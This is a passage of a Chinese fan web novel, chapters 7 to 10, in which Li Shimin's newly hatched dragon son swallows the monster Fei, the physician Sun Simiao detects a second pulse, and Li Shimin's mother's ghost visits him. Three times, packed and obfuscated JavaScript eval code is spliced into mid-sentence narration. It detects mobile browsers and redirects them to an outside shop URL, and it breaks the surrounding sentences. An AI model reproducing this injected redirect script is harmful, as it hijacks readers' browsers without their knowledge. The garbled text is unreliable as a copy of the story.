《假如祖龙是二凤的太子》 7. 一口吞掉妖兽 “没有。”李世民一口咬定。 “没有吗?”柴绍茫然。 “你听错了。” “……哦。” 他真的以为听错了,不再纠缠,忙着给李世民拿药去了。 “咔” 碎裂之声连绵起伏,几乎能想象得到壳上会如冰般裂出树杈的纹路来。 李世民紧急之下,连忙卸甲,手足无措地从怀里掏出那个蛋来。 这不会是被他弄坏的吧? 一想到这里,他脑子里嗡嗡直响,忍不住沮丧。回去他怎么跟无忧交代? 玄金的蛋壳布满冰裂纹,在他手中绽开。 李世民连呼吸都停止了。 一块碎片被从内而外击碎,掀开,一只软乎乎的小手在那窟窿里伸出来,沿着碎片边缘扒拉。 是只手诶,像人的手。 李世民目不转睛地盯着那只白白嫩嫩的手,五根手指,一根不多一根不少,就是比寻常的婴儿要小得多。 居然还有指甲,粉粉的色泽,像二月里枝头刚冒出来的杏花,很浅很淡。 哇。 他也不知道在感叹什么,继续敛着气,一动不敢动,等这小小的神奇生物,自己破壳而出。 “咔咔”那手虽小,力气却不小,砸得蛋壳接连碎开。 一双金色的角,伴着半张小脸,悄咪咪地露出来,自以为自己藏得很好,躲在蛋壳后面,暗中观察。 比金乌的金,要厚重一些,更接近蜂蜜琥珀的颜色,虽是稚嫩的、带着绒毛的鹿角似的幼态,可却如上天精心雕琢出来的一般,透出矜贵。 暗金的眼睛圆圆润润,眼尾微微上挑,是再标准不过的凤眼,只是因为年纪太小,才会显得很圆。 钟灵毓秀,无可挑剔。 以李世民的审美来说,真是鸡蛋里挑骨头都挑不出一点毛病来。 他在看自家孩子,孩子也在看他。 破晓的光还没有照进来,烛火熹微,照映着一张年轻的脸,病而不弱,倦而不怠。 李世民有点紧张,局促地笑了笑,声音轻柔到不太自然了。 “你……你还好吗?怎么这么早就……你饿不饿?” 政崽在壳后面观察了他一会,慢吞吞地冒出头来,摇了摇头,又点了点头。 “?”李世民看不懂。 虽然确实饿,但比起吃东西,政崽现在更在意的是另一件事。 他没有穿衣服啊! 眼前这人什么时候能意识到这一点? 显然,他的父亲完全没有意识到他的窘迫,也不觉得刚破壳的崽还有羞耻心。 政崽只好继续缩在壳里,鼓着脸,自己想办法。 李世民拿出了石针,犹豫中,看见小龙崽的头摇了又摇。 “不饿吗?”他猜测着。 不,不是不饿,而是李世民现在太虚了,能跑出去救援都是政崽好不容易治疗的结果。 “我可以抱你出来吗?” 话好多哦这人,嘀嘀咕咕的,不断试探政崽的底线。 政崽看了看自己光溜溜的身体,脸鼓得更圆了,不得不用大尾巴遮掩关键部位。 李世民小心翼翼地伸出了手,这辈子好像都没对触碰什么东西小心成这样。 他手伸了一半,紧急撤回,突然想起什么似的,匆匆转身跑去洗了个手,擦得干干净净,才又回来。 政崽:“……” 感觉好傻哦。 李世民虽然出身很好,但他的手并不是养尊处优的手,常年弓马骑射留下的茧子,自然不能和无忧比柔软,意识到这一点,他更轻了些。 指尖从孩子腋下穿过,缓缓将政崽抱起来,莫名有点儿像抱一只小鸟。 这孩子软得让人害怕,没骨头似的,多小心都不为过。 政崽抿着唇,因为毫无遮挡而绷紧了身体。 “你是不是冷?”李世民发现了孩子的不自然,“我去给你……” 他整个人都显得凌乱,原地转了一圈,本想去找出征前无忧给的包裹,但实际上却盯着孩子,上上下下地看。 眼里看的,嘴里说的,和手上干的,完全不是一件事。 政崽宛如一只被提起来的幼猫,尾巴努力遮住腰下面,只是没有喵喵叫。 “这是你的尾巴?” 李世民眼里的好奇和雀跃快要溢出来了,兴奋得难以自已,简直像回归原始森林的野人,每个动作都不太理智。 “哇!” 毫无意义的惊叹之后,欠欠的手就摸上了政崽的大尾巴。 传说中的生物,忽然就有了具象化的参考对象。 玄色的尾巴偏青,但并不是草叶般的绿,也不是晴空般的天蓝,而是冬天清晨的苍穹,将亮未亮时的颜色。 黑中带蓝,又隐约泛着赤色,浓郁沉凝,让人想起很多很多年前,还在钻木取火的时代,甚至更早,女娲捏土造人时,一望无际的原野上方,那浩渺的天空也许就是这样的。 好可爱。 胖乎乎的形状,居然没有取代双腿,而是像松鼠的大尾巴一样,可以从屁股后面绕到前面来。触感比芦花还要软,摸上去滑溜溜的,尾巴尖有稚气的绒毛。 真的好可爱。 还会打人的! “啪”的一声脆响,大尾巴毫不客气地抽到了李世民手背上。 政崽的脸都红了,谁叫他太过分,摸尾巴就算了,还扒拉开尾巴来看! “打我干什么?”李世民委屈道,“我看看你长得完不完整嘛。” 政崽气鼓鼓地瞪着他,眼睛睁得更圆了。 哎呀,太可爱了吧!把李世民的手都拍红了,一看就很健康。 “殿下……” 柴绍的脚步声,打碎了满帐的幸福泡泡。 新手父亲手忙脚乱地把娃往怀里一揣,顺手抄起壳塞临时床铺的角落,用披风罩住,清清嗓子,心不在焉:“你有事吗?” 柴绍满头问号,端着食盘走进来,脚步都迟疑了:“你没事吧?我刚刚不是说给你拿药……” “哦哦,拿药,对。——什么药?” “这一碗是青蒿汁,那碗是煎好的常山柴胡等汤药,还有些易克化的吃食。” “药方变了?”李世民随口问。 “城里来了位老神医,听说专门为了时疫而来,洞见症结,拟于和缓,称赞的人很多,这是他用来治疟症的方子。我看效果不错,就换了。” 柴绍解释道,把托盘放到桌上。 “他把药方公开了?还是你去要了?” “公开了。” 李世民赞道:“可谓‘道’矣。若确实有用,当派卫士搜集草蒿,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866467|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良医供给药材。也得问问,他还缺什么,有什么是我们能帮忙的……” “这是自然。”柴绍很了解他的作风,大为赞成,催促道,“你把药喝了赶紧休息,别熬了,歇两个时辰再说。” “知道了……你比阿姊还啰嗦。” 柴绍拿李世民没办法,权当没听见。他的目光不经意往下移,然后就定住了。 “你……” “还有事吗?”李世民若无其事地抬眼而笑。 “没……”柴绍欲言又止,看了又看,从李世民一本正经的脸,瞄到对方鼓鼓囊囊的胸口,再偷瞥一眼乱七八糟的床铺。 席子、毯子和披风的位置,好像哪里不对? “有事一定要告诉我。”柴绍强调。 “这话我来说比较合适。”李世民揶揄。 柴绍讪讪,无言以对。 他刚转头走了一步,政崽就在李世民衣服里蛄蛹蛄蛹。 不是孩子沉不住气,而是他闻到了妖气。 很浓很浓的妖气,近了,更近了。 政崽炸毛,怒不可遏。 李世民连忙按住他,防止柴绍听到异常响动。 “对了,那位姓孙的神医还说——”柴绍停步回首。 政崽试图挣开李世民的手,而后者试图隐瞒他的存在。 妖气逼近了这方主帐。 “我得休息了,有事等会再说。”李世民火急火燎地把姐夫赶走,单手送了一程,还告诉外面的段志玄离远一点,不要打扰他。 柴绍与段志玄皆一头雾水,默默地退开几步。 “他以前睡觉怕打扰吗?” “没听说过。” “今日好生奇怪。” “可能是身体不适。”段志玄分析道,“前两日畏寒发热,头痛呕吐,病得厉害,突然好转得这么快,已经是得天之幸了。” “说明天佑我们……” 柴绍的话没有说完,呆呆地看着地上转瞬枯死的草。 “这草刚刚还是绿的吧?” “……嗯。”段志玄也呆滞地看向地面。 “我记得现在是七月?”他竟然有些不确定了。 “是七月。” 真邪门! 一时间,军帐内外,所有人都发出了一致的感叹。 妖雾靠近了李世民的主帐,灰蒙蒙的阴影如旋风来袭,所过之处,那盛夏的草沾之即死。 李世民敏锐地察觉到了杀气,不着痕迹地握住了案边的刀。 就是这么一眨眼的功夫,他怀里小小的幼崽就飞了出去。 刹那之间,巨大的神龙盘踞如山,冲破灰色雾气,暗金的竖瞳凛然生辉,犹如星河流转其中,生生不息。 李世民怔了怔,为之屏息。 这双眼睛……这条巨龙…… 玄色巨龙一张嘴,就把那雾气凝聚的妖兽给吞了。 以顶尖弓箭手的眼力,也只看见那妖兽是长得像牛的东西,白色脑袋,只有一只眼睛。 然后就没了。 妖兽没了,巨龙也没了。 没穿衣服的幼崽落在他手心,歪歪扭扭的,没保持好平衡,踉跄着跌坐在自己尾巴上。 小肚子鼓鼓的,吃得很饱的样子。 李世民茫然了一秒,发出暴鸣:“不要乱吃东西啊!” 8. 孙思邈的暴论 “快吐出来!这东西好像是蜚!有剧毒的!” 政崽才不吐。 他好不容易才有东西吃的,哼。 “真的有毒!”李世民紧张地托起幼崽的屁股,一时间不知道该如何是好。 政崽才不在乎,紧紧地闭上嘴巴。 情急之下,李世民捏住幼崽的脸颊,想迫使他张开嘴。 口风很紧的小宝宝,死活都不张。 没有人能逼他把吃下去的东西吐出来,没有人! 犟种真是天生的,真的。 “殿下……” “又怎么了?”李世民忙着和幼崽作斗争,不敢使太大劲,怕弄疼孩子幼嫩的肌肤,本身又倦极,神智都要混乱了。 柴绍的声音犹犹豫豫地传来:“方才好像有什么奇怪的东西进了帅帐……” 李世民一把掀开帐篷的门,只露出脑袋,气势汹汹地反问:“什么东西?” 柴绍默默指了指地上枯死的草,不是一棵两棵,而是一条死亡的道路。 所经之处,草木尽亡,这就是蜚。 而现在这诡异的妖物,被自家崽一口吞了。 事情发生得太快,李世民还来不及有任何感想。似乎该提起警惕防备妖物的,但已经结束了。 要传令全军戒备吗?好像又有点小题大做…… “我知道了。” 柴绍与李世民大眼瞪小眼,不敢相信他就给了这么几个字。 “若再有异常,再来禀报。” 段志玄连忙应下,没再打扰他。 李世民单手抱着崽,从箱子里翻出了一包婴儿的新衣服。 那是长孙无忧早早就备下的,为这次出征,还添加了几身,大大小小的,都是浆洗过的,柔软亲肤。 “这差出好几个尺寸了吧?”李世民当时把小衣服拎起来看了看,表示疑惑。 “孩子破壳时会有多大,谁也不清楚,有备无患。” “他要不是个人形怎么办呢?”李世民突发奇想。 “你会嫌弃他吗?” “唔……”李世民沉吟了很久。 他要是张口就来,说自己无论如何都不会嫌弃孩子的外表,那长孙无忧反而会觉得有点假。 别的不说,要是长得像蟑螂、苍蝇、蚊子、癞蛤蟆……心得有多大,才能不嫌弃啊。 “我还是希望他像个人的,至少别太古怪。”李世民诚实道,“不然你准备的衣服就穿不了了。” 也许是因为他有这样的期许,破壳的崽崽接近于人,只是带着龙的特征。 李世民平常干什么都很灵巧的手,这会儿笨手笨脚地给孩子穿衣服。 穿在最里面的是裲裆,也就是保护肚子的肚兜,再热的天,也得把肚子护住,以防受凉。 是不是只穿一件就够了?毕竟是夏天。他思量着,手绕到宝宝背后,把系带一一系好。 政崽终于有衣服穿了,顿时松了口气,乖乖坐在那里,任父亲摆弄,活像个漂亮的棉花娃娃。 裲裆的下摆垂到肉乎乎的大腿处,该遮的都遮住了,也没有妨碍尾巴行动。 李世民很满意,政崽很不满意。 这就没啦? 疲惫的秦王干了两碗药,囫囵吃了块饼,还掰了一块送到崽崽嘴边,问:“你吃吗?” 幼崽嗅了嗅饼,摇摇头。 “刚刚的蜚,应该是蜚吧,是你吞掉的吗?” 政崽矜持地点点头。 “怎么那么大?”李世民惊诧,比比划划,“你看你这么小一点,可是那龙那么长一条。” 政崽眨巴眨巴眼睛,歪头看着他,一派无辜。 他也不知道啊,全是危险来临时的本能罢了。 把妖兽吃掉,就没有危险了,体型太小那就变大一点,就是这么简单。 “要不要给你找个良医?”李世民自言自语,既担心蜚会伤及孩子,又怕孩子的异常暴露出去,平白生起事端。 他原本是打算等这场仗打完,无忧怀胎十月的时间到了,假装无事发生,顺理成章对外公布嫡长子的降生。 就算早两个月,也可以说是早产。但是现在…… 他净手擦干,轻缓地摸上孩子的角。 政崽下意识仰头,晃了晃,想避开他的手。 “我就摸一下。”李世民哄着,指尖荡过那密密小小的绒毛,宛如在抚摸猫猫狗狗的耳朵。 软乎乎,毛茸茸的,像某种早春的植物,芽上都是蓬勃生机。 无论是脸色还是唇色,都很健康,一点也没有中毒的迹象。 政崽以为他真的只摸一下,忍着簌簌的痒意,等他摸完。 结果,一下,一下,又一下……摸个没完了这人! 当这是盘核桃呢! 政崽忍不住抬起手,两边一手一个,捂住角角不给摸了。 然后李世民就改摸尾巴了,顺着尾巴根,一路撸到尾巴尖,别提手感多顺滑了,比丝绸还顺。 政崽一激灵,差点没原地蹦起来。 好痒! 不要摸了,到底有什么好摸的? 他气恼地从父亲手里夺回尾巴,抱着不撒手。 于是角就空出来了。李世民梅开二度,就这么撩闲,一会摸这,一会摸那,引得孩子四处躲避,扭来扭去,怎么都躲不开被他玩弄的下场。 生孩子就是用来玩的。这个观点在李世民这里,体现得淋漓尽致。 而后把孩子往床上一放,整个人往后一倒,胳膊一捞,搂着崽崽准备睡觉。 嗯?他的衣服都没有穿完!他明明看到有外衫和裈的,长的短的都有,为什么不给他穿了? 这样感觉好奇怪。 政崽打算自己动手,努力从父亲怀里挣脱。他刚从李世民臂弯爬出来,就被迷迷糊糊的父亲又抓了回去。 困得眼睛都睁不开了,居然还能这么精准地捞回逃跑的幼崽。 政崽再接再厉,屡败屡战,屡战屡败。 李世民不厌其烦,一次又一次把崽捉回来,非要塞怀里抱着不可。 政崽麻了,瞅瞅昏昏沉沉的父亲,不太忍心一直折腾他,只好呆着不动。 温暖的体温与呼吸近在咫尺,就像外面初升的太阳。对幼崽来说,其实有点燥热了。 嬴政不太喜欢与人这么亲近,太近了,有种被束缚的压抑感,很不自在。 虽然只是一只手,但这只手搭在他背上,是有分量的。比起这样的拥抱,他更喜欢自己一个人待着。 好热,热得孩子都冒汗了。 政崽老实了一刻钟,蹑手蹑脚地钻出来,大大地呼吸了一口新鲜空气,走出两步,吧唧,摔趴在了床上。 回头一看,尾巴被父亲压住了。 自由,转瞬即逝。 为什么都睡着了还能抓住他?政崽想不通。他无力地趴在那,被拉着尾巴拖回去,回归了李世民的怀抱。 幼崽深沉地叹了口气,彻底放弃逃跑计划,拯救完尾巴,蜷缩成一团,不知不觉也跟着睡了。 睡着的时光,短暂得像被偷走了似的。幼崽本觉得有点热,但真睡着了,却盘在李世民胸口,半天都没有挪位置。 这一觉睡得很香,孩子的脸红扑扑的,和水蜜桃一模一样,看着就想让人咬一口。 醒来的李世民真的去咬了。 嘴巴张开,含住幼崽脸颊上的软肉,嘬嘬嘬,啃啃啃,很快就吸吮出了深深的红印子。 松开嘴的时候,那充满弹性的脸颊肉还会颤巍巍回弹,比剥壳的荔枝还嫩,带着婴儿特有的奶香气,还有微微的兰香,也不知道从哪儿来的。 吸一口,再一口。 沉迷吸崽,无可自拔。 政崽被他搞醒了,小手本能地抵住对方的嘴巴往外推。 他越推,李世民越起劲,连送上门的小手一起亲,啾啾啾,把政崽亲得生无可恋。 好烦。 父亲太黏人怎么办? 政崽板着脸,分不清被亲了几十下,脸颊上带着牙印,幽怨而控诉地看着他的父亲。 李世民略有点心虚,以清水沾湿手帕,给孩子擦擦脸,擦擦手,自己也迅速洗漱,打理外表。 政崽总算有了人身控制权,毫不犹豫地往衣箱那边去。 李世民用余光观察,饶有兴趣地看着幼崽深一脚浅一脚,好似跟四肢没打好招呼,彼此陌生,配合起来默契不足,因此每一步都左摇右摆,活像刚学走路的小鸭子。 尤其是尾巴,本来应该是起到平衡作用的,但在这幅身体上,却显得有点多余,幼崽微微一弯腰,想去够箱子里的衣服,结果根本不稳,直接一头栽倒,跌进去了。 “噗哈哈哈……咳咳……”李世民大笑,笑得自己都呛到咳嗽。 duang的一声闷响,幼崽被衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李世民到的时候,这队已经排得一眼望不到头了,他也不着急,混在人群里跟着排。 前面的人偶然一回头,顿时一惊:“殿下你怎么不到前面去?” “我又没缺胳膊少腿,也没出气多入气少,我不急。” 他是不急,他前面的人一个比一个急,纷纷把位置让出来。 “城外都大军压境了,殿下你最重要,还是别耽误了。” “就是就是。” 李世民被传送到了最前面,但他还是往旁边站站,等孙思邈给伤情最重的兵卒针灸止血,上药包扎。 孙思邈处理完这一批需要急救的,泰然自若地看向唐军的主帅,先端详他的气色,而后开口:“请殿下把手给我。” 李世民乖乖卷起袖子,老老实实坐在胡床上,伸出左手。 孙思邈一搭上脉,就皱了眉头。 段志玄心里一紧,问道:“怎么?殿下的病情不是好转了吗?” 从发热不退、寒战呕吐、昏睡时叫不醒,到现在能骑马打仗,不是很明显的好转吗? 孙思邈不说话,只一味诊脉,从左手换到右手,又换回左手,眉头皱得能夹死蚊子。 “殿下你……”他斟酌了一下,好像拿不准自己的诊断,甚至有点迷茫了。 这种表现放在一位神医身上,简直让旁观者毛骨悚然。 柴绍刚赶过来,一看医者犹豫,心都悬起来了,努力沉住气关掉帐门,把消息封锁在这方小空间。 “先生直说无妨。”李世民不以为意。 他觉得自己现在好得很,一点毛病都没有,才不怕医者会说出什么要命的话来。 孙思邈欲言又止,止言又欲。 老先生你到底要说什么啊?柴绍和段志玄看得直上火。 “老夫曾听闻平阳公主当年女扮男装,招兵买马,在长安外立了幕府,能征善战,有商王后妇好之风。”孙思邈委婉道,“不知殿下你是否也是如此?” 柴绍:“啊?” 段志玄:“啊?” 李世民:“啊?” 政崽一阵茫然,没听懂这是什么意思。 所有人都一脸懵逼,孙思邈左看看右看看,更不确定了,惭愧道:“兴许是老夫学艺不精,误诊了……” “误诊了什么?”李世民云里雾里。 “这……往来流利,如盘走珠,是很明显的滑脉……” 孙思邈当了几十年大夫,给不知道多少人看过病,这么简单的脉要是能看错,他早就改行了。 “况且……”孙思邈迟疑着,慢吞吞补了一句,有点怀疑人生,也有点想让旁听者怀疑人生,“老夫好像摸到了双脉,是个气血很充盈的胎儿。” 柴绍和段志玄:“!!!” 9. 七月十五鬼门关开 柴绍,平阳公主的丈夫,李世民的姐夫,在听懂孙思邈的暗示加明示后,一秒宕机,显示器都烧屏了。 “不可能吧?公主那时候是特殊情况,起兵之前,我是知道她是女娘的……”柴绍颠三倒四地表达,“秦王殿下……二郎他没有这个必要……我是说,我早就认识他了……” 柴绍当然早就认识李世民了,太原起兵两年前,他就和李世民的姐姐成了亲,起兵的时候他也参与了,和李家绑定得很深。 理智上他当然确定李世民的性别,但混乱之中,他还是和段志玄一样,将呆滞的目光投向了当事者。 李世民愣了愣,倒没有他俩反应那么大。 奇异的幼崽就在他怀里,发生什么怪事都不奇怪。 他还看见了《山海经》里的妖兽蜚和能把蜚秒杀的神龙呢! “双脉?”李世民的重点在这里,“除我之外,另一个脉象很康健吗?” 柴绍倒抽了口气。 “很康健,有根有神,脉跳清晰流畅,比殿下你的要稳定很多。”孙思邈淡定回复。 他是淡定了,柴绍的天都要塌了。段志玄虽然还站在一边,但似乎魂飘走有一会了。 政崽安安静静地听着,没有乱动引起任何人怀疑,他早熟得有点过分,在这样复杂的环境里,也善于蛰伏。 他当然很清楚他是阿母生的,只是因为她身体虚弱才寄居在阿父这里。也许就是因为李世民给他喂了精血,而他给李世民治疗,灵识相连,导致道门的孙思邈检测到了他。 好厉害的神医。 那如果他现在断开与父亲的联系呢? 有这样高明的医者在侧,周围没有敌人,可以试试吧? 政崽小心地收回灵识的触角,不再去治疗和共感他的父亲。 蓝牙已断开。 “咦?”孙思邈随之惊咦出声。 柴绍的心都快不跳了。 “没了。” “什么没了?”李世民不解。 “摸不到那个幼小的脉象了。” 医者与他的病患微妙地对视一眼,似乎有千言万语在目光中交错,尽数省略,达成了奇怪的共识。 孙思邈微笑:“听闻王妃有喜,大抵是这个缘故。” “啊?”柴绍的嘴巴都合不拢了,急忙问,“什么缘故?我怎么没听懂?” “因王妃有喜,殿下若有所感,心中挂念,是以老夫诊脉时,才会误诊。这等奇事虽然罕见,但也是有的。” 孙思邈很干脆地承认了自己误诊,但在场的人没有一个因此责怪他。 他们甚至都没反应过来,孙思邈的药方就写好了。 “殿下的病情正在好转,但莫忘了吃药,一日两服,晨昏煎送。蒿汁也要带着饮,可以清热截疟。还有这个——” 见多识广的医者把另外的方子交到李世民手里,严肃道,“若有需要,也请用几服。” 李世民接过来看了看:“虽然我不懂岐黄,但这看着跟内人吃过的药有点像。” 黄芩、当归、人参、茯苓……好像都是补气血的。 孙思邈大大方方承认:“是这样。” “我需要吃这个?” “老夫不能确定。”孙思邈瞅着他,“亦可制成药丸,殿下随时可以取用。” “会不会很劳烦?” “高墌城就指着秦王殿下了,只要城不破,就不算劳烦。” “先生大义,世民感激不尽。”李世民叉手为礼,微微俯首。 “不敢,我为医者,这原是我分内之事。”孙思邈捋了捋胡子,笑眯眯。 他俩这边其乐融融,柴绍的脑子里已经刮起了台风。 “那我就不打扰先生问诊了。”李世民神清气爽,若无其事往外走,日常巡察和处理公务去了。 柴绍:“你听懂了吗?” 段志玄:“我听懂了王妃有喜和殿下的病快好了,都是好事。” “……这么说的话,倒也没毛病。” 政崽一看医者离远了,悄悄把灵识缠上他的父亲,继续输送灵力。 他默默地看着李世民,看他在军营走来走去,写奏报,看文书,问候受伤的将士,处理抚恤,放出斥候与瞭望,整合情报,排兵遣将,加派人手管理粮草…… 打仗,打的不仅仅是战场交锋,战场之外,还有许许多多琐碎的事,都是要处理的。 李世民很熟练,一点也看不出他只有二十岁。 “要不要搬到府衙去住?那边要方便些。”柴绍建议道,“你说过,我们现在的任务是守城。” “再等等。”李世民总是很有耐心,“薛举是进攻的那一方,他长途而来,粮草渐渐不足,他比我们急。” 烛火点亮秦王眼睛时,安分了一天的崽终于扒开李世民衣襟,大大地吸口气。 好乖。怎么会有这么乖的孩子? 李世民心一软,一只手就可以将幼崽完全覆盖,下意识轻手轻脚,蹭蹭孩子的脸。 “饿不饿?你需要吃什么?” 政崽摸摸小肚子,一点也不觉得饿,就哼哧哼哧地爬到他胳膊上,再顺着袖子滑下来,跟荡秋千似的。 他荡到了桌案上摊开的地图上,歪着头坐下来。 李世民怕他坐不稳,用手给孩子支撑了一下,含笑凝视他。 “看什么呢?” 政崽辨认着这地图上的地点,那些似曾相识的名字,如一团团火焰,在他眼底跳动。 他看到了咸阳,也看到了骊山。 在大大的地图上,不过是两个小小的点,一点也不显眼。 政崽闷闷地看了很久,也不知道在看什么。 李世民低下头,好奇地问:“你能听懂我说话,对吧?” 政崽认真地看向他,点头。 “你的角和尾巴,能收起来吗?” 政崽怔怔地望着他,慢慢地摸上了自己的角。 他不喜欢吗?原来他也不喜欢…… 可是…… 幼崽垂头丧气,肉眼可见地失落下来。 李世民无端地觉得心酸,连忙道:“收不起来就算了。” 就算了?政崽愣住。 “你才这么小一点,就为救我而去犯险。我若是还要苛责你非人,那我才不是人。” 李世民固然希望自家孩子是个“人”,因为这关系到世俗的言语。 他能按得住秦王府,以后总堵不住天下的悠悠之口。 防民之口甚于防川。 但这是他和无忧的第一个孩子,不是什么妖魔鬼怪的寄生品。 这孩子身上流着他和无忧的血,是带着他们的爱和希望来到这个世界的。 这个乱世很不好,可孩子很乖。 不哭不闹不抱怨,一路上都不给他添麻烦,懂事得简直让人心疼。 “啊……我是不是忘了给你喂水了?我听说婴儿也是要喝水的。” 李世民忽然想到这一点,给孩子倒了碗温水,用勺子先尝一口,不烫,才送到幼崽面前。 政崽并没有觉得渴,抬眼看看父亲,很给面子地抱住勺子,抿了几口。 “城里有羊奶,明日让人送些过来,如何?”他竟然在跟孩子商量。 政崽露出笑意,点点头,便开始期待明天的到来。 他还太懵懂,懵懂到不知道什么叫“喜欢”,可他已经习惯靠近李世民。 李世民处理案牍的时候,他就陪在一边,从不乱动。有时候被坏心眼的父亲拎过去充当镇纸,就趴在那儿看他写字。 飘逸的笔触收尾时,政崽的脸和屁股就要遭殃了。 就算他跑去穿好了衣裳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866469|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也防不住李世民随时偷袭。 摸摸金色的小龙角,捏捏圆润的小脸,忙里偷闲地拍拍幼崽的屁股,再顺手撸一把尾巴。 政崽如果是只猫的话,肯定恨不得在全身上下写满“这也不让摸”“那也不让摸”,可惜没用。 李世民爱怎么摸怎么摸,就算被尾巴抽几下,也抱着崽崽一顿狂亲。 政崽无可奈何,只能等他亲够。 “殿下……” 李世民放开怀里的崽,整顿了一下表情。他刚封秦王没几个月,硬生生把“殿下”这个称呼听熟了。 身边人总叫,不熟也得熟。 但这个声音来自孙思邈,他就不像对柴绍那么随意,而是把崽藏好,将医者迎进来。 “神医有事找我?” “不敢当‘神医’的赞誉,我救不了的人多如泥沙。” “就算是神仙,也未见得救得了所有人。先生仁心妙手,已可称之为‘神’了。” 孙思邈毫无得色,语气平缓,提醒道:“我只是来告诉殿下,今日日落之后,最好不要出门。” “为什么?” “殿下忘了?今日是七月十五。” 这一天好生漫长,长得让人忘记,还有两个时辰的夜晚,这一日才结束。 “七月十五,也没有不能出门的说法吧?凌晨时我们还出城作战的。” 高墌城的宵禁也没有早到从日落开始计算,何况这是战时,敌人可不管你宵不宵禁。 “今夜不大一样。”孙思邈于医者之外,露出些许道门的神秘来,但和袁天罡那种浓郁的方士味儿不同,他很温平中正。 “地府这几年很忙,是以今夜鬼门大开,阴兵过境,夜里阴气过重,殿下你尚在病中,能避开还是避开为好。” 不知为何,这种神神鬼鬼的东西,从孙思邈嘴里说出来,寻常得就像晚上要下雨那样,一点神秘感都没了,可信度却很高。 李世民信了大半,便笑着答应:“多谢先生嘱咐。” 孙思邈没有久留,很快告退。 李世民抬头看了看下坠的金乌,喃喃自语:“地府……” 果然如孙思邈所说,日落之后,奇异的寒气就随着薄雾,萦绕在天地之间。 李世民没有多想。生者有生者的生活,死者有死者的归处。 等仗打完,他会去收殓那些流落的尸骨,送他们一程。 现在的话,不太好大动干戈,会扰乱军心的。 道理他都懂,但晚上躺在床上,还是翻来覆去睡不着。 既然真的有地府,浅水原那些殒命的将士,会在夜里回家看看吗? 那么…… 政崽跟着他翻来覆去,脑袋都快被晃晕了。干脆爬起来,坐在李世民胸口,盯着他看。 软软的小手拍拍他的心口,像是安慰,又像是催促。 李世民揉乱崽崽乌黑的头发,捧起白白嫩嫩的小脸疯狂亲亲,仿佛在孩子的气息里得到了某种治愈,获得短暂安宁。 敌人也好,病情也罢,地府和未来的人言也都见鬼去吧,至少这一刻,他的心平静到了积水空明。 不管了,先睡觉,明天的事明天再说。 李世民这么告诉自己,熄灭烛火,包着孩子棉絮似的小手,将他整个拥在怀里,连尾巴都不放过,勉强闭上眼睛,强迫自己入睡。 政崽打了个哈欠,也有点困了。 父亲温热得像个暖炉,心跳稳定下来时,就很催眠。 可是政崽没办法睡了。 阴寒的气息出现在他感知里,逐渐逼近。 血月凌天,鬼气森森。 政崽在夜色中睁开了眼睛,瞳孔瞬间缩成竖状,警惕地望向来者。 他看到了一张与李世民有些相似的面孔。 鬼魂悬浮在他几步之外。 10. 哭包二凤上线 政崽受了惊吓,差点对这鬼魂出手。 他定了定神,端详着这位轻飘飘的鬼魂。 鬼魂对他笑了笑,雍容和雅,眉宇之间带着几分慈爱。 “我是二郎的母亲,只是想来看看他,并无恶意。” 鬼魂笑盈盈,一会看看李世民,一会又看看政崽,眼底的温柔如春风十里,哪怕死亡也抹杀不了。 政崽确实没有感觉到任何恶意,况且,这样爱意流淌的目光,他在长孙无忧那里也看到过。 母亲对孩子的爱,总是很难伪装的。 政崽并不认识她,便打算把父亲叫醒。 幼崽的手刚准备拍李世民的脸,窦夫人就轻轻示意。 “别扰他了。我看一会就走。”她没有靠得太近,隔着几步的距离,细细端详,叹道,“瘦了好多。自幼就娇弱多病,如今独自在外,更是让人担心……” 娇?弱? 政崽忽然不确定这两个字的本意了。 虽然他记忆只有很少很少的一点,但怎么看都…… 不过,只看这句话,这个女子的身份,他几乎可以确定了。 不是亲生的说不出这话。 政崽向她微笑,坐得更端正了些,张了张口,却不知该唤她什么。 还没人教他这个。 “你叫什么名字?”窦夫人柔声相问,虚虚地轻抚孩子的手,没有实际碰到他,“他们还没有烧祭文告知于我。” 其实还没有给孩子取名呢。 政崽稍稍仰起脸,脸颊便蹭到了窦夫人的手,冰冰凉凉的。 “好乖。”窦夫人笑眯了眼睛,“你比二郎小时候乖多了。” 政崽笑意加深,同时一尾巴抽在李世民手上,把他弄醒了。 窦夫人阻止不及,似乎想退后,脚下却又生了根似的,没舍得动。 李世民睁开了眼睛。 阴阳相隔的母子俩,终于见上了面。 下一刻,政崽就有点后悔了。他实在是没想到,在战场上英勇善战、势如破竹的李世民,居然这么容易就哭。 比小小的幼崽还爱哭。 一醒来看见窦夫人,那眼泪跟开闸的洪水似的,哗哗往下流。 “阿娘……” “二郎……” 哭就算了,李世民扑向窦夫人时差点忘了身上还有只崽,因为鬼魂没有实体,他没有抱到她,还连累政崽险些飞出去。 幼崽埋怨地哼唧一声,挂在他衣服上,晃晃悠悠的。 李世民哭得更凶了。 长辈忙着哄他,晚辈自食其力,扒拉着衣角往上爬。 窦夫人忍俊不禁,托起幼崽,送到李世民手里。 “小心些,这可是你的孩子。” 